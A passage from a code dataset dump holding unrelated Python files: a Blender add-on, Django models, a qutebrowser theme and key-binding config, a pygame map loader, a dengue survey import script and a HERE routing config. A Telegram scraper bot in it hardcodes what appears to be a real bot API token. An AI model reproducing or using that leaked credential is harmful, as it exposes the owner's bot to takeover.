continue\n else:\n new_index = new_index + 1\n\n yield duplicate_name, old_index_str, new_index\n\n\n\nclass PS_OT_fill_mesh(Operator):\n bl_idname = 'ps.fill_mesh'\n bl_label = 'Fill Mesh'\n bl_description = ''\n\n \"\"\" @classmethod\n def poll(cls, context):\n return context.mode == 'EDIT_MESH' \"\"\"\n\n def execute(self, context):\n obj = context.active_object\n me = obj.data\n bm = bmesh.from_edit_mesh(me)\n #verts = [v for v in bm.verts if v.select]\n #edges = [e for e in bm.edges]\n #bmesh.ops.triangle_fill(bm, use_beauty=True, use_dissolve=False, edges=edges) #normal\n\n bm_new = bmesh.new()\n bm_new.from_mesh(me, face_normals=True, use_shape_key=False)\n verts = [v for v in bm_new.verts if v.select]\n convex_hull = bmesh.ops.convex_hull(bm_new, input=verts, use_existing_faces=True)\n \n bm_new.verts.ensure_lookup_table()\n bm_new.edges.ensure_lookup_table()\n bm_new.faces.ensure_lookup_table()\n\n vI, eI, fI = [], [], []\n for i in convex_hull['geom']: # geom, geom_interior, geom_unused, geom_holes\n if isinstance(i, bmesh.types.BMVert):\n vI.append(i)\n elif isinstance(i, bmesh.types.BMEdge):\n eI.append(i)\n elif isinstance(i, bmesh.types.BMFace):\n fI.append(i)\n\n for f_idx in fI:\n bm.faces.new([bm.verts[i.index] for i in f_idx.verts])\n # --- New\n #bm = bmesh.new()\n\n print(vI) \n bmesh.update_edit_mesh(me)\n return {'FINISHED'}\n\n\n\n\nclasses = [\n PS_OT_fill_mesh,\n]\n\ndef register():\n for cls in classes:\n bpy.utils.register_class(cls)\n\n\ndef unregister():\n for cls in classes:\n bpy.utils.unregister_class(cls)","sub_path":"scripts/addon_library/local/Poly_Source/utils/fill_mesh.py","file_name":"fill_mesh.py","file_ext":"py","file_size_in_byte":21596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"185934425","text":"import logging\n\nfrom multiprocessing import Process\nfrom scrapy.crawler import CrawlerProcess\nfrom scrapy.utils.project import get_project_settings\nfrom telegram.ext import CommandHandler\nfrom telegram.ext import Updater\n\nfrom reddit.spiders.subreddits_spider import SubredditSpider\n\nlogging.basicConfig(\n level=logging.DEBUG,\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n\ndef crawl(args):\n process = CrawlerProcess(get_project_settings())\n process.crawl(SubredditSpider, subreddits=args)\n process.start()\n\n\ndef nothing_to_do(bot, update, args):\n '''Get threads with high upvotes and send them as Telegram bot text.\n\n Given a list of subreddits, gets their threads with upvotes greater than or\n equal to 5000, parses their basic informations and send them via Telegram\n bot.\n\n Args:\n bot (telegram.bot.Bot): Telegram bot instance\n update (telegram.update.Update): Incoming update.\n args (str): List of subreddits, separated by semicolon.\n '''\n # wait for crawling process\n process = Process(target=crawl, args=args)\n process.start()\n process.join()\n\n # parses thread information and sends 1 thread per bot message\n threads_content = ''\n with open('output.txt', 'r') as f:\n threads_content = f.read()\n\n threads = threads_content.split(\"------------------------------\")\n\n for thread in threads:\n bot.send_message(chat_id=update.message.chat_id, text=thread)\n\n\ndef main():\n handler = CommandHandler('NadaPraFazer', nothing_to_do, pass_args=True)\n updater = Updater(token='681115372:AAG0rwggK_0VSRIc_yPk4r9TwNckn9wuXec')\n updater.dispatcher.add_handler(handler)\n updater.start_polling()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"crawlers/reddit/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"286196426","text":"from django.conf import settings\nfrom django.db import models\nfrom django.utils.timezone import now\nfrom django.utils.translation import ugettext_lazy as _\nfrom model_utils.tracker import FieldTracker\n\nfrom poradnia.records.models import AbstractRecord, AbstractRecordQuerySet\n\ntry:\n from django.core.urlresolvers import reverse\nexcept ImportError:\n from django.urls import reverse\n\n\nclass Reminder(models.Model):\n event = models.OneToOneField('Event', related_name='user_alarms')\n user = models.ForeignKey(to=settings.AUTH_USER_MODEL)\n triggered = models.BooleanField(default=False)\n\n class Meta:\n verbose_name = _('Reminder')\n verbose_name_plural = _('Reminders')\n\n\nclass Alarm(AbstractRecord):\n event = models.OneToOneField('Event')\n\n class Meta:\n verbose_name = _('Alarm')\n verbose_name_plural = _('Alarms')\n\n\nclass EventQuerySet(AbstractRecordQuerySet):\n def untriggered(self):\n return self.filter(alarm__isnull=True)\n\n def old(self):\n return self.filter(time__lte=now())\n\n\nclass Event(AbstractRecord):\n deadline = models.BooleanField(default=False, verbose_name=_(\"Dead-line\"))\n time = models.DateTimeField(verbose_name=_(\"Time\"))\n text = models.CharField(max_length=150, verbose_name=_(\"Subject\"))\n created_by = models.ForeignKey(to=settings.AUTH_USER_MODEL,\n related_name='event_created_by',\n verbose_name=_(\"Created by\"))\n created_on = models.DateTimeField(auto_now_add=True, verbose_name=_(\"Created on\"))\n modified_by = models.ForeignKey(to=settings.AUTH_USER_MODEL,\n verbose_name=_(\"Modified by\"),\n null=True,\n related_name='event_modified_by')\n modified_on = models.DateTimeField(auto_now=True,\n null=True,\n blank=True,\n verbose_name=_(\"Modified on\"))\n objects = EventQuerySet.as_manager()\n tracker = FieldTracker(fields=('time',))\n\n def get_absolute_url(self):\n case_url = self.record.case_get_absolute_url()\n return \"%s#event-%s\" % (case_url, self.pk)\n\n def get_edit_url(self):\n return reverse('events:edit', kwargs={'pk': self.pk})\n\n def get_calendar_url(self):\n return reverse('events:calendar', kwargs={'month': self.time.month, 'year': self.time.year})\n\n def execute(self):\n return Alarm.objects.create(event=self, case=self.case)\n\n def save(self, *args, **kwargs):\n time_changed = self.tracker.has_changed('time')\n super(Event, self).save(*args, **kwargs)\n\n # if deadline is not set or Event already exists but time was not changed, do nothing\n if not self.deadline or not time_changed:\n return\n\n # for each staff user involved in case create or update Reminder about Event\n for user in self.case.get_users_with_perms().filter(is_staff=True).exclude(profile=None):\n if user.profile.event_reminder_time > 0:\n Reminder.objects.update_or_create(event=self,\n user=user,\n defaults={'triggered': False})\n\n @property\n def triggered(self):\n try:\n return bool(self.alarm)\n except Alarm.DoesNotExist:\n return False\n\n class Meta:\n verbose_name = _('Event')\n verbose_name_plural = _('Events')\n","sub_path":"poradnia/events/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"87689187","text":"import json\n\nleader_key = \"\\\\\"\n\nc.fonts.statusbar = \"18pt IBM Plex Mono\"\nc.fonts.tabs = \"18pt IBM Plex Mono\"\nc.url.searchengines = {\n \"DEFAULT\": \"https://ecosia.org/search?q={}\",\n \"yt\": \"https://www.youtube.com/results?search_query={}\",\n \"gh\": \"https://github.com/search?q={}\",\n \"aw\": \"https://wiki.archlinux.org/index.php?search={}\",\n \"aur\": \"https://aur.archlinux.org/packages/?O=0&K={}\",\n \"ar\": \"https://www.archlinux.org/packages/?q={}\",\n \"imslp\": \"https://www.google.com/search?q=site:imslp.org+{}\",\n \"gd\": \"https://godoc.org/?q={}\",\n \"ep\": \"https://emojipedia.org/search/?q={}\",\n \"us\": \"https://unsplash.com/s/photos/{}\",\n \"npm\": \"https://www.npmjs.com/search?q={}\"\n}\n\nc.content.host_blocking.lists.append( str(config.configdir) + \"/blockedHosts\")\n\n# Command mode sucks\n\nconfig.bind(\"ZZ\", \"close\")\nconfig.bind(\"ZQ\", \"quit\")\n\n# Paste\n\nconfig.bind(\"pp\", \"open -- {clipboard}\")\nconfig.bind(\"PP\", \"open -- {primary}\")\nconfig.bind(\"pw\", \"open -w -- {clipboard}\")\nconfig.bind(\"Pw\", \"open -w -- {primary}\")\nconfig.bind(\"pt\", \"open -t -- {clipboard}\")\nconfig.bind(\"Pt\", \"open -t -- {primary}\")\nconfig.bind(\"pr\", \"open -p -- {clipboard}\")\nconfig.bind(\"Pr\", \"open -p -- {primary}\")\n\n# youtube-dl --mark-watched\n\nconfig.bind(leader_key + \"dv\", \"spawn -v youtube-dl --mark-watched -f 'bestvideo[height<=1080]+bestaudio/best[height<1080]' -o ~/youtube/%(title)s-%(id)s {url}\")\nconfig.bind(leader_key + \"hdv\", \"hint --rapid all spawn -v youtube-dl --mark-watched -f 'bestvideo[height<=1080]+bestaudio/best[height<1080]' -o ~/youtube/%(title)s-%(id)s {url}\")\n\n# Download audio from current tab\nconfig.bind(leader_key + \"da\", \"spawn -v youtube-dl -x -f 'bestaudio/best' -o ~/music/%(title)s-%(id)s.%(ext)s {url}\")\nconfig.bind(leader_key + \"hda\", \"hint all spawn -v youtube-dl -x -f 'bestaudio/best' -o ~/music/%(title)s-%(id)s.%(ext)s {url}\")\n\n# Open current video on mpv.\nconfig.bind(leader_key + \"m\", \"spawn --detach -v mpv --keep-open=yes '{url}'\")\nconfig.bind(leader_key + \"hm\", \"hint all spawn --detach -v mpv --keep-open=yes '{hint-url}'\")\n\n# Open images in feh\n\nconfig.bind(leader_key + \"i\", \"spawn --detach -v feh '{url}'\")\nconfig.bind(leader_key + \"hi\", \"hint images spawn --detach -v feh '{hint-url}'\")\n\n# Clone github repo into ~/src/\n\nconfig.bind(leader_key + \"c\", \"spawn --detach -v git -C ~/src clone '{url}'\")\nconfig.bind(leader_key + \"hc\", \"hint links spawn --detach -v git -C ~/src clone '{url}'\")\n\n# vim-plug\n\nconfig.bind(leader_key + \"yp\", \"yank inline \\\"Plug '{url}'\\\"\")\n\n# base16-qutebrowser (https://github.com/theova/base16-qutebrowser)\n# Base16 qutebrowser template by theova\n# Gruvbox dark, soft scheme by Dawid Kurek (dawikur@gmail.com), morhetz (https://github.com/morhetz/gruvbox)\n\nbase00 = \"#32302f\"\nbase01 = \"#3c3836\"\nbase02 = \"#504945\"\nbase03 = \"#665c54\"\nbase04 = \"#bdae93\"\nbase05 = \"#d5c4a1\"\nbase06 = \"#ebdbb2\"\nbase07 = \"#fbf1c7\"\nbase08 = \"#fb4934\"\nbase09 = \"#fe8019\"\nbase0A = \"#fabd2f\"\nbase0B = \"#b8bb26\"\nbase0C = \"#8ec07c\"\nbase0D = \"#83a598\"\nbase0E = \"#d3869b\"\nbase0F = \"#d65d0e\"\n\n# set qutebrowser colors\n\n# Text color of the completion widget. May be a single color to use for\n# all columns or a list of three colors, one for each column.\nc.colors.completion.fg = base05\n\n# Background color of the completion widget for odd rows.\nc.colors.completion.odd.bg = base03\n\n# Background color of the completion widget for even rows.\nc.colors.completion.even.bg = base00\n\n# Foreground color of completion widget category headers.\nc.colors.completion.category.fg = base0A\n\n# Background color of the completion widget category headers.\nc.colors.completion.category.bg = base00\n\n# Top border color of the completion widget category headers.\nc.colors.completion.category.border.top = base00\n\n# Bottom border color of the completion widget category headers.\nc.colors.completion.category.border.bottom = base00\n\n# Foreground color of the selected completion item.\nc.colors.completion.item.selected.fg = base01\n\n# Background color of the selected completion item.\nc.colors.completion.item.selected.bg = base0A\n\n# Top border color of the selected completion item.\nc.colors.completion.item.selected.border.top = base0A\n\n# Bottom border color of the selected completion item.\nc.colors.completion.item.selected.border.bottom = base0A\n\n# Foreground color of the matched text in the selected completion item.\nc.colors.completion.item.selected.match.fg = base08\n\n# Foreground color of the matched text in the completion.\nc.colors.completion.match.fg = base0B\n\n# Color of the scrollbar handle in the completion view.\nc.colors.completion.scrollbar.fg = base05\n\n# Color of the scrollbar in the completion view.\nc.colors.completion.scrollbar.bg = base00\n\n# Background color for the download bar.\nc.colors.downloads.bar.bg = base00\n\n# Color gradient start for download text.\nc.colors.downloads.start.fg = base00\n\n# Color gradient start for download backgrounds.\nc.colors.downloads.start.bg = base0D\n\n# Color gradient end for download text.\nc.colors.downloads.stop.fg = base00\n\n# Color gradient stop for download backgrounds.\nc.colors.downloads.stop.bg = base0C\n\n# Foreground color for downloads with errors.\nc.colors.downloads.error.fg = base08\n\n# Font color for hints.\nc.colors.hints.fg = base00\n\n# Background color for hints. Note that you can use a `rgba(...)` value\n# for transparency.\nc.colors.hints.bg = base0A\n\n# Font color for the matched part of hints.\nc.colors.hints.match.fg = base05\n\n# Text color for the keyhint widget.\nc.colors.keyhint.fg = base05\n\n# Highlight color for keys to complete the current keychain.\nc.colors.keyhint.suffix.fg = base05\n\n# Background color of the keyhint widget.\nc.colors.keyhint.bg = base00\n\n# Foreground color of an error message.\nc.colors.messages.error.fg = base00\n\n# Background color of an error message.\nc.colors.messages.error.bg = base08\n\n# Border color of an error message.\nc.colors.messages.error.border = base08\n\n# Foreground color of a warning message.\nc.colors.messages.warning.fg = base00\n\n# Background color of a warning message.\nc.colors.messages.warning.bg = base0E\n\n# Border color of a warning message.\nc.colors.messages.warning.border = base0E\n\n# Foreground color of an info message.\nc.colors.messages.info.fg = base05\n\n# Background color of an info message.\nc.colors.messages.info.bg = base00\n\n# Border color of an info message.\nc.colors.messages.info.border = base00\n\n# Foreground color for prompts.\nc.colors.prompts.fg = base05\n\n# Border used around UI elements in prompts.\nc.colors.prompts.border = base00\n\n# Background color for prompts.\nc.colors.prompts.bg = base00\n\n# Background color for the selected item in filename prompts.\nc.colors.prompts.selected.bg = base0A\n\n# Foreground color of the statusbar.\nc.colors.statusbar.normal.fg = base0B\n\n# Background color of the statusbar.\nc.colors.statusbar.normal.bg = base00\n\n# Foreground color of the statusbar in insert mode.\nc.colors.statusbar.insert.fg = base00\n\n# Background color of the statusbar in insert mode.\nc.colors.statusbar.insert.bg = base0D\n\n# Foreground color of the statusbar in passthrough mode.\nc.colors.statusbar.passthrough.fg = base00\n\n# Background color of the statusbar in passthrough mode.\nc.colors.statusbar.passthrough.bg = base0C\n\n# Foreground color of the statusbar in private browsing mode.\nc.colors.statusbar.private.fg = base00\n\n# Background color of the statusbar in private browsing mode.\nc.colors.statusbar.private.bg = base03\n\n# Foreground color of the statusbar in command mode.\nc.colors.statusbar.command.fg = base05\n\n# Background color of the statusbar in command mode.\nc.colors.statusbar.command.bg = base00\n\n# Foreground color of the statusbar in private browsing + command mode.\nc.colors.statusbar.command.private.fg = base05\n\n# Background color of the statusbar in private browsing + command mode.\nc.colors.statusbar.command.private.bg = base00\n\n# Foreground color of the statusbar in caret mode.\nc.colors.statusbar.caret.fg = base00\n\n# Background color of the statusbar in caret mode.\nc.colors.statusbar.caret.bg = base0E\n\n# Foreground color of the statusbar in caret mode with a selection.\nc.colors.statusbar.caret.selection.fg = base00\n\n# Background color of the statusbar in caret mode with a selection.\nc.colors.statusbar.caret.selection.bg = base0D\n\n# Background color of the progress bar.\nc.colors.statusbar.progress.bg = base0D\n\n# Default foreground color of the URL in the statusbar.\nc.colors.statusbar.url.fg = base05\n\n# Foreground color of the URL in the statusbar on error.\nc.colors.statusbar.url.error.fg = base08\n\n# Foreground color of the URL in the statusbar for hovered links.\nc.colors.statusbar.url.hover.fg = base05\n\n# Foreground color of the URL in the statusbar on successful load\n# (http).\nc.colors.statusbar.url.success.http.fg = base0C\n\n# Foreground color of the URL in the statusbar on successful load\n# (https).\nc.colors.statusbar.url.success.https.fg = base0B\n\n# Foreground color of the URL in the statusbar when there's a warning.\nc.colors.statusbar.url.warn.fg = base0E\n\n# Background color of the tab bar.\nc.colors.tabs.bar.bg = base00\n\n# Color gradient start for the tab indicator.\nc.colors.tabs.indicator.start = base0D\n\n# Color gradient end for the tab indicator.\nc.colors.tabs.indicator.stop = base0C\n\n# Color for the tab indicator on errors.\nc.colors.tabs.indicator.error = base08\n\n# Foreground color of unselected odd tabs.\nc.colors.tabs.odd.fg = base05\n\n# Background color of unselected odd tabs.\nc.colors.tabs.odd.bg = base03\n\n# Foreground color of unselected even tabs.\nc.colors.tabs.even.fg = base05\n\n# Background color of unselected even tabs.\nc.colors.tabs.even.bg = base00\n\n# Background color of pinned unselected even tabs.\nc.colors.tabs.pinned.even.bg = base0C\n\n# Foreground color of pinned unselected even tabs.\nc.colors.tabs.pinned.even.fg = base07\n\n# Background color of pinned unselected odd tabs.\nc.colors.tabs.pinned.odd.bg = base0B\n\n# Foreground color of pinned unselected odd tabs.\nc.colors.tabs.pinned.odd.fg = base07\n\n# Background color of pinned selected even tabs.\nc.colors.tabs.pinned.selected.even.bg = base05\n\n# Foreground color of pinned selected even tabs.\nc.colors.tabs.pinned.selected.even.fg = base00\n\n# Background color of pinned selected odd tabs.\nc.colors.tabs.pinned.selected.odd.bg = base05\n\n# Foreground color of pinned selected odd tabs.\nc.colors.tabs.pinned.selected.odd.fg = base0E\n\n# Foreground color of selected odd tabs.\nc.colors.tabs.selected.odd.fg = base00\n\n# Background color of selected odd tabs.\nc.colors.tabs.selected.odd.bg = base05\n\n# Foreground color of selected even tabs.\nc.colors.tabs.selected.even.fg = base00\n\n# Background color of selected even tabs.\nc.colors.tabs.selected.even.bg = base05\n\n# Background color for webpages if unset (or empty to use the theme's\n# color).\n# c.colors.webpage.bg = base00\n\n\n# Foreground color of the statusbar in insert mode.\nc.colors.statusbar.insert.fg = \"#0d6061\"\n\n# Background color of the statusbar in insert mode.\nc.colors.statusbar.insert.bg = \"#ffffff\"\n\n# Foreground color of the statusbar in passthrough mode.\nc.colors.statusbar.passthrough.fg = \"#ffffff\"\n\n# Background color of the statusbar in passthrough mode.\nc.colors.statusbar.passthrough.bg = \"#0d6061\"\n\n# Foreground color of the statusbar in command mode.\nc.colors.statusbar.command.fg = \"#055802\"\n\n# Background color of the statusbar in command mode.\nc.colors.statusbar.command.bg = \"#a0c301\"\n\n# Foreground color of the statusbar in caret mode.\nc.colors.statusbar.caret.fg = \"#7f5902\"\n# Background color of the statusbar in caret mode.\nc.colors.statusbar.caret.bg = \"#eba102\"\n\n# Foreground color of the statusbar in caret mode with a selection.\nc.colors.statusbar.caret.selection.fg = c.colors.statusbar.caret.fg\n# Background color of the statusbar in caret mode with a selection.\nc.colors.statusbar.caret.selection.bg = c.colors.statusbar.caret.bg\n","sub_path":".config/qutebrowser/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":11825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"559273997","text":"#88. Implement division of two positive integers without using the division, multiplication, or modulus operators. Return the quotient as an integer, ignoring the remainder.\n\ndef divide(n, d):\n quotient = 0\n while n >= d:\n quotient += 1\n n -= d\n return quotient\n\nprint(divide(10, 2))\nprint(divide(100, 3))\nprint(divide(124, 17))\n","sub_path":"daily_coding_problem/problem88.py","file_name":"problem88.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"328083837","text":"import random\r\nfrom os import path\r\n\r\nfrom settings import *\r\nfrom sprites import *\r\n\r\n\r\nclass Map:\r\n def __init__(self):\r\n self.entry_point = (0, 0)\r\n self.map_data = []\r\n self.map_width = 0\r\n self.map_height = 0\r\n self.pixel_width = 0\r\n self.pixel_height = 0\r\n pass\r\n\r\n def load_from_file(self, filename):\r\n game_folder = path.dirname(__file__)\r\n self.map_file_data = []\r\n with open(path.join(game_folder, \"data\", filename), 'r') as f:\r\n for line in f:\r\n self.map_file_data.append(line)\r\n self.map_width = len(self.map_file_data[0]) - 1\r\n self.map_height = len(self.map_file_data)\r\n self.pixel_width = (self.map_width) * TILESIZE\r\n self.pixel_height = (self.map_height) * TILESIZE\r\n\r\n for row, rowLine in enumerate(self.map_file_data):\r\n row_data = []\r\n for col, colChar in enumerate(rowLine):\r\n row_data.append(colChar)\r\n self.map_data.append(row_data)\r\n\r\n def create_sprites_from_data(self, game):\r\n \"\"\"Add health to mobs\"\"\"\r\n for row in range(0, self.map_height):\r\n for col in range(0, self.map_width):\r\n tile = self.map_data[row][col]\r\n tile_south = self.map_data[row+1][col] if row + \\\r\n 1 < self.map_height else tile\r\n if tile == '1':\r\n is_wall_top = tile == tile_south\r\n Wall(game, col, row, is_wall_top)\r\n if tile == 'P':\r\n self.entry_point = (col, row)\r\n if tile == 'b':\r\n Bee(game, col, row, (game.all_sprites,\r\n game.mobs), game.bee_img, BEE_SPEED, BEE_HEALTH)\r\n","sub_path":"11-videogames/Referencia/08-Vida, salud y UI/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"66511444","text":"import json\nimport logging\nimport re\nimport sys\nfrom datetime import datetime, timedelta\nfrom io import BytesIO\nfrom pprint import pprint\n\nimport boto3\nimport django\nimport twd97\n\ndjango.setup()\nfrom bucket.models import Bucket\nfrom bucketRecord.models import BucketRecord\nfrom openpyxl import load_workbook\n\n\nlog = logging.getLogger('')\nlog.setLevel(logging.DEBUG)\nformat = logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\n\nch = logging.StreamHandler(sys.stdout)\nch.setFormatter(format)\nlog.addHandler(ch)\n\nparselogger = logging.getLogger('parse')\nsheetlogger = logging.getLogger('sheet')\nprogresslogger = logging.getLogger('progress')\n\nNO_DATA = -1\n\nBucket.objects.all().delete()\n\ns3 = boto3.resource('s3')\ns3_client = boto3.client('s3')\nfile_list = list()\nvillage_list = [];\nweeknum = int(datetime.now().strftime('%U'))\nthis_year_str = datetime.now().strftime('%Y')\n\n\nfor key in s3.Bucket('dengue-report-source').objects.all():\n if key.key.endswith(\".xlsx\"):\n if len(key.key.split(\"/\")) < 2:\n continue\n city = key.key.split(\"/\")[0]\n file_name = key.key.split(\"/\")[1]\n file_list.append({\n \"city\": city,\n \"file_name\": file_name,\n \"file_key\": key.key\n })\n\nbucket_dict = dict()\nsurvey_dict = dict()\nfor file_dict in file_list:\n\n s3_obj = s3.Object('dengue-report-source', file_dict['file_key'])\n wb = load_workbook(filename=BytesIO(s3_obj.get()['Body'].read()), read_only=True)\n parselogger.info(file_dict['file_name'])\n city = file_dict['city']\n for sheet_name in wb.get_sheet_names():\n sheet_name_match = re.search(r'(\\d+)(年)?第(\\d+)(週|周)', sheet_name)\n if sheet_name == '誘卵桶資訊':\n sheetlogger.info(sheet_name)\n ws = wb['誘卵桶資訊']\n progresslogger.info('Bucket handle begin')\n for row in range(3, ws.max_row+1):\n bucket_id = ws['A' + str(row)].value\n if bucket_id == None:\n continue\n\n bucket_x = ws['B' + str(row)].value\n bucket_y = ws['C' + str(row)].value\n if bucket_x == None or bucket_y == None:\n continue\n try:\n bucket_x = float(bucket_x)\n bucket_y = float(bucket_y)\n except:\n continue\n\n bucket_address = ws['D' + str(row)].value if isinstance(ws['D' + str(row)].value, str) == True else '無'\n bucket_note = ws['E' + str(row)].value if isinstance(ws['E' + str(row)].value, str) == True else '無'\n bucket_lat, bucket_lng = twd97.towgs84(bucket_x, bucket_y)\n bucket_dict[bucket_id] = {\n 'bucket_lat': bucket_lat if isinstance(bucket_lat, float) == True else NO_DATA,\n 'bucket_lng': bucket_lng if isinstance(bucket_lng, float) == True else NO_DATA,\n # 'bucket_address': bucket_address,\n # 'bucket_note': bucket_note\n }\n Bucket(id=bucket_id,\n ws84_x=bucket_x,\n ws84_y=bucket_y,\n address=bucket_address,\n note=bucket_note,\n lng=bucket_lng,\n lat=bucket_lat,\n point='POINT(%f %f)' % (bucket_x, bucket_y),\n ).save()\n progresslogger.info('finish ' + str(ws.max_row + 1) + ' buckets')\n\n elif sheet_name_match and sheet_name_match.group(1) == this_year_str:\n ws = wb[sheet_name]\n sheetlogger.info(sheet_name)\n progresslogger.info('record handle begin')\n for row in range(3, ws.max_row+1):\n survey_date = ws['A' + str(row)].value\n bucket_id = ws['B' + str(row)].value\n if isinstance(survey_date, datetime) == False or \\\n bucket_dict.get(bucket_id) == None:\n break\n\n area = ws['C' + str(row)].value\n village = ws['D' + str(row)].value\n if '里' not in village:\n village = village + '里'\n\n egg_num = ws['E' + str(row)].value if isinstance(ws['E' + str(row)].value, int) == True else NO_DATA\n if egg_num == 0:\n egypt_egg_num = 0\n white_egg_num = 0\n else:\n egypt_egg_num = ws['F' + str(row)].value if isinstance(ws['F' + str(row)].value, int) == True else NO_DATA\n white_egg_num = ws['G'+ str(row)].value if isinstance(ws['G' + str(row)].value, int) == True else NO_DATA\n\n larvae_num = ws['H' + str(row)].value if isinstance(ws['H' + str(row)].value, int) == True else NO_DATA\n if larvae_num == 0:\n egypt_larvae_num = 0\n white_larvae_num = 0\n else:\n egypt_larvae_num = ws['I' + str(row)].value if isinstance(ws['I' + str(row)].value, int) == True else NO_DATA\n white_larvae_num = ws['J' + str(row)].value if isinstance(ws['J' + str(row)].value, int) == True else NO_DATA\n survey_note = ws['K' + str(row)].value if isinstance(ws['K' + str(row)].value, str) == True else '無'\n\n if([city, area, village] not in village_list):\n village_list.append([city, area, village])\n \n dup_records_num = len(BucketRecord.objects.filter(\n bucket_id=bucket_id,\n investigate_date=survey_date,\n county=city\n ))\n\n if dup_records_num > 1:\n warning_str = 'duplicated records:' + str(bucket_id) + str(survey_date) + city\n progresslogger.warning(warning_str)\n record_exist = True\n elif dup_records_num == 1:\n record_exist = True\n elif dup_records_num == 0:\n record_exist = False\n \n if not record_exist:\n progresslogger.info(\n 'save object:' + str(bucket_id) + ',' + str(survey_date))\n BucketRecord(\n bucket_id=bucket_id,\n investigate_date=survey_date,\n county=city,\n town=area,\n village=village,\n # 卵數、埃及孵化卵數、白線孵化卵數\n egg_count=egg_num,\n egypt_egg_count=egypt_egg_num,\n white_egg_count=white_egg_num,\n # 孑孓、埃及幼蟲、白線幼蟲\n larvae_count=larvae_num,\n egypt_larvae_count=egypt_larvae_num,\n white_larvae_count=white_larvae_num,\n note=survey_note,\n ).save()\n \n progresslogger.info('finish ' + str(ws.max_row + 1) + ' records')\n wb.close()\n","sub_path":"parse_the_year.py","file_name":"parse_the_year.py","file_ext":"py","file_size_in_byte":7209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"67726387","text":"# Copyright (C) 2019-2021 HERE Europe B.V.\n# SPDX-License-Identifier: Apache-2.0\n\n\"\"\"This module defines all the configs which will be required as inputs to routing APIs.\"\"\"\n\nimport json\nfrom typing import List, Optional\n\nfrom .base_config import Bunch\n\n\nclass RoutingMode(Bunch):\n \"\"\"A Class to define constant values for Routing Modes.\n\n ``fast``:\n Route calculation from start to destination optimized by travel time. In many cases, the route\n returned by the fast mode may not be the route with the fastest possible travel time.\n For example, the routing service may favor a route that remains on a highway, even\n if a faster travel time can be achieved by taking a detour or shortcut through\n an inconvenient side road.\n\n ``short``:\n Route calculation from start to destination disregarding any speed information. In this mode,\n the distance of the route is minimized, while keeping the route sensible. This includes,\n for example, penalizing turns. Because of that, the resulting route will not necessarily be\n the one with minimal distance.\n \"\"\"\n\n\n#: Use this config for routing_mode of routing API.\n#: Example: for ``fast`` routing_mode use ``ROUTING_MODE.fast``.\nROUTING_MODE = RoutingMode(**{\"fast\": \"fast\", \"short\": \"short\"})\n\n\nclass RoutingReturn(Bunch):\n \"\"\"A class to define constant attributes which are included in routing API's response\n as part of the data representation of route or section.\n\n * ``polyline`` - Polyline for the route in Flexible Polyline Encoding. Either a 2D polyline\n (without elevation specified) or a 3D polyline with the 3rd dimension type Elevation\n (with elevation specified).\n\n * ``actions`` - Actions (such as maneuvers or tasks) that must be taken to complete the\n section.\n\n * instructions - Include instructions in returned actions. Instructions are localized to the\n requested language.\n\n * ``summary`` - Include a summary for the section.\n\n * ``travelSummary`` - Include a summary for the travel portion of the section.\n\n * ``turnByTurnActions`` - Include all information necessary to support turn by turn guidance\n to complete the section.\n\n * ``mlDuration`` - Use a region-specific machine learning model to calculate route duration.\n Disclaimer: This parameter is currently in beta release, and is therefore subject\n to breaking changes.\n\n * ``elevation`` - Include elevation information in coordinate and geometry types.\n See e.g. polyline or location.\n\n * ``routeHandle`` - Encode calculated route and return a handle which can be used with\n routes/{routeHandle} to decode the route at a later point in time.\n\n * ``incidents`` - Include a list of all incidents applicable to each section.\n\n Following restrictions apply when specifying return parameter:\n\n * If ``actions`` is requested, then ``polyline`` must also be requested as well.\n\n * If ``instructions`` is requested, then ``actions`` must also be requested as well.\n\n * If ``turnByTurnActions`` is requested, then ``polyline`` must also be requested as well.\n\n * If at least one attribute is requested within the ``spans`` parameter, then ``polyline``\n must be requested as well.\n \"\"\"\n\n\nreturn_attributes = {\n \"polyline\": \"polyline\",\n \"actions\": \"actions\",\n \"instructions\": \"instructions\",\n \"summary\": \"summary\",\n \"travelSummary\": \"travelSummary\",\n \"mlDuration\": \"mlDuration\",\n \"turnByTurnActions\": \"turnByTurnActions\",\n \"elevation\": \"elevation\",\n \"routeHandle\": \"routeHandle\",\n \"passthrough\": \"passthrough\",\n \"incidents\": \"incidents\",\n}\n#: Use this config for return attributes from routing API for param ``return_results``.\n#: Example: To return polyline in results use ``ROUTING_RETURN.polyline``.\nROUTING_RETURN = RoutingReturn(**return_attributes)\n\n\nclass RoutingSpans(Bunch):\n \"\"\"A class to define constant attributes which are included in the response spans.\n\n ``walkAttributes`` ``streetAttributes`` ``carAttributes`` ``truckAttributes``\n ``scooterAttributes`` ``names`` ``length`` ``duration`` ``baseDuration`` ``countryCode``\n ``functionalClass`` ``routeNumbers`` ``speedLimit`` ``maxSpeed`` ``dynamicSpeedInfo``\n ``segmentId`` ``segmentRef`` ``consumption``.\n \"\"\"\n\n\nrouting_spans = {\n \"walkAttributes\": \"walkAttributes\",\n \"streetAttributes\": \"streetAttributes\",\n \"carAttributes\": \"streetAttributes\",\n \"truckAttributes\": \"truckAttributes\",\n \"scooterAttributes\": \"scooterAttributes\",\n \"names\": \"names\",\n \"length\": \"length\",\n \"duration\": \"duration\",\n \"baseDuration\": \"baseDuration\",\n \"countryCode\": \"countryCode\",\n \"functionalClass\": \"functionalClass\",\n \"routeNumbers\": \"routeNumbers\",\n \"speedLimit\": \"speedLimit\",\n 